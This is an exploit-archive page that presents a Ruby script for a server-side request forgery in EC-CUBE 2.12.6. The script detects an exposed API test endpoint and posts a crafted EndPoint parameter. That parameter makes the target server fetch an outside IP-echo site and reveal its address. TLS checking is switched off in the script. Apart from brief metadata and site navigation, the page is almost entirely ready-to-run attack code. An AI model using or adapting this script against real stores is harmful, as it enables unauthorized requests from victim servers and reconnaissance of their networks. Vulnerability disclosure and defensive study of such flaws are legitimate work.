exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

EC-CUBE 2.12.6 Server-Side Request Forgery

EC-CUBE 2.12.6 Server-Side Request Forgery
Posted Oct 24, 2016
Authored by Wadeek

EC-CUBE version 2.12.6 suffers from a server-side request forgery vulnerability.

tags | exploit
SHA-256 | c42ba6db20bf772a4bcc9224c08de1ef016065fe9006bd2eaeef8a403bde4674

EC-CUBE 2.12.6 Server-Side Request Forgery

Change Mirror Download
# Exploit Title: EC-CUBE 2.12.6 Server-Side Request Forgery
# Date: 22/10/16
# Exploit Author: Wad Deek
# Vendor Homepage: http://en.ec-cube.net/
# Software Link: http://en.ec-cube.net/download/
# Version: 2.12.6en-p1
# Tested on: Xampp on Windows7
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools
##
##
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
require('mechanize')
agent = Mechanize.new()
agent.read_timeout = 3
agent.open_timeout = 3
agent.keep_alive = false
agent.redirect_ok = true
agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#===========================
urls = <<URLS
http://localhost/eccube/
URLS
urls.split("\n").each() do |url|
#===========================
#{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
def get(agent, target)
begin
response = agent.get(target)
code = response.code()
body = response.body()
rescue
else
return code, body
end
end
#{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
#}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
target = url+"test/api_test.php"
code, body = get(agent, target)
if(code == "200" && body.include?("EC-CUBE API TEST") == true)
begin
response = agent.post(
target,
{
"AccessKeyId" => 4111111111111111,
"arg_key0" => 1,
"arg_key1" => 1,
"arg_key2" => 1,
"arg_key3" => 1,
"arg_key4" => 1,
"arg_key5" => 1,
"arg_key6" => 1,
"arg_key7" => 1,
"arg_key8" => 1,
"arg_key9" => 1,
"arg_val0" => 1,
"arg_val1" => 1,
"arg_val2" => 1,
"arg_val3" => 1,
"arg_val4" => 1,
"arg_val5" => 1,
"arg_val6" => 1,
"arg_val7" => 1,
"arg_val8" => 1,
"arg_val9" => 1,
#????????????????????????????????????????????????????????????
"EndPoint" => "http://www.monip.org/index.php"+"?.jpg",
#????????????????????????????????????????????????????????????
"mode=" => "",
"Operation" => 1,
"SecretKey" => 1,
"Service" => 1,
"Signature" => 1,
"Timestamp" => 1,
"type" => "index.php"
})
body = response.body()
rescue
else
ip = response.body().scan(/IP : (.+?)</).join()
puts("[+] "+target+" >>>> monip.org >>>> "+ip)
end
end
#}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
#===========================
end
#===========================


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close